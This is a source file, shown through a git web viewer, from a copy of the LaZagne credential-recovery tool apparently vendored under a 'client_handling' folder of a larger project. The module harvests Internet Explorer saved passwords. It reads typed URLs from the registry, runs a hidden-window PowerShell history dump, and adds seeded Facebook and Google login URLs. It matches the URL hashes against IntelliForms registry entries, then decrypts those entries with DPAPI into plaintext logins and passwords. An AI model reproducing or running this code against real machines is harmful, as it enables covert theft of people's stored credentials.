summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/browsers/ie.py
blob: fcbbac86cec2b92517ef68231af008ee7cdc8131 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
import hashlib
import subprocess
import traceback

import foreign.client_handling.lazagne.config.winstructure as win
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant

try: 
    import _subprocess as sub
    STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW  # Not work on Python 3
    SW_HIDE = sub.SW_HIDE
except ImportError:
    STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
    SW_HIDE = subprocess.SW_HIDE

try: 
    import _winreg as winreg
except ImportError:
    import winreg


class IE(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)

    def get_hash_table(self):
        # get the url list
        urls = self.get_history()

        # calculate the hash for all urls found on the history
        hash_tables = []
        for u in range(len(urls)):
            try:
                h = (urls[u] + '\0').encode('UTF-16LE')
                hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
            except Exception:
                self.debug(traceback.format_exc())
        return hash_tables

    def get_history(self):
        urls = self.history_from_regedit()
        try:
            urls = urls + self.history_from_powershell()
        except Exception:
            self.debug(traceback.format_exc())

        urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
                       'https://accounts.google.com/servicelogin']
        return urls

    def history_from_powershell(self):
        # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
        cmdline = '''
        function get-iehistory {
        [CmdletBinding()]
        param ()
        
        $shell = New-Object -ComObject Shell.Application
        $hist = $shell.NameSpace(34)
        $folder = $hist.Self
        
        $hist.Items() | 
        foreach {
            if ($_.IsFolder) {
            $siteFolder = $_.GetFolder
            $siteFolder.Items() | 
            foreach {
                $site = $_
            
                if ($site.IsFolder) {
                $pageFolder  = $site.GetFolder
                $pageFolder.Items() | 
                foreach {
                    $visit = New-Object -TypeName PSObject -Property @{        
                        URL = $($pageFolder.GetDetailsOf($_,0))           
                    }
                    $visit
                }
                }
            }
            }
        }
        }
        get-iehistory
        '''
        command = ['powershell.exe', '/c', cmdline]
        info = subprocess.STARTUPINFO()
        info.dwFlags = STARTF_USESHOWWINDOW
        info.wShowWindow = SW_HIDE
        p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
                             stdin=subprocess.PIPE, universal_newlines=True)
        results, _ = p.communicate()

        urls = []
        for r in results.split('\n'):
            if r.startswith('http'):
                urls.append(r.strip())
        return urls

    def history_from_regedit(self):
        urls = []
        try:
            hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
        except Exception:
            self.debug(traceback.format_exc())
            return []

        num = winreg.QueryInfoKey(hkey)[1]
        for x in range(0, num):
            k = winreg.EnumValue(hkey, x)
            if k:
                urls.append(k[1])
        winreg.CloseKey(hkey)
        return urls

    def decipher_password(self, cipher_text, u):
        pwd_found = []
        # deciper the password
        pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
        a = ''
        if pwd:
            for i in range(len(pwd)):
                try:
                    a = pwd[i:].decode('UTF-16LE')
                    a = a.decode('utf-8')
                    break
                except Exception:
                    return []
        if not a:
            return []
        # the last one is always equal to 0
        secret = a.split('\x00')
        if secret[len(secret) - 1] == '':
            secret = secret[:len(secret) - 1]

        # define the length of the tab
        if len(secret) % 2 == 0:
            length = len(secret)
        else:
            length = len(secret) - 1

        # list username / password in clear text
        password = None
        for s in range(length):
            try:
                if s % 2 != 0:
                    pwd_found.append({
                        'URL': u.decode('UTF-16LE'),
                        'Login': secret[length - s],
                        'Password': password
                    })
                else:
                    password = secret[length - s]
            except Exception:
                self.debug(traceback.format_exc())

        return pwd_found

    def run(self):
        if float(win.get_os_version()) > 6.1:
            self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
            return

        pwd_found = []
        try:
            hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
        except Exception:
            self.debug(traceback.format_exc())
        else:
            nb_site = 0
            nb_pass_found = 0

            # retrieve the urls from the history
            hash_tables = self.get_hash_table()

            num = winreg.QueryInfoKey(hkey)[1]
            for x in range(0, num):
                k = winreg.EnumValue(hkey, x)
                if k:
                    nb_site += 1
                    for h in hash_tables:
                        # both hash are similar, we can decipher the password
                        if h[1] == k[0][:40].lower():
                            nb_pass_found += 1
                            cipher_text = k[1]
                            pwd_found += self.decipher_password(cipher_text, h[0])
                            break

            winreg.CloseKey(hkey)

            # manage errors
            if nb_site > nb_pass_found:
                self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
                           u'passwords has not been found' % str(nb_site - nb_pass_found))

        return pwd_found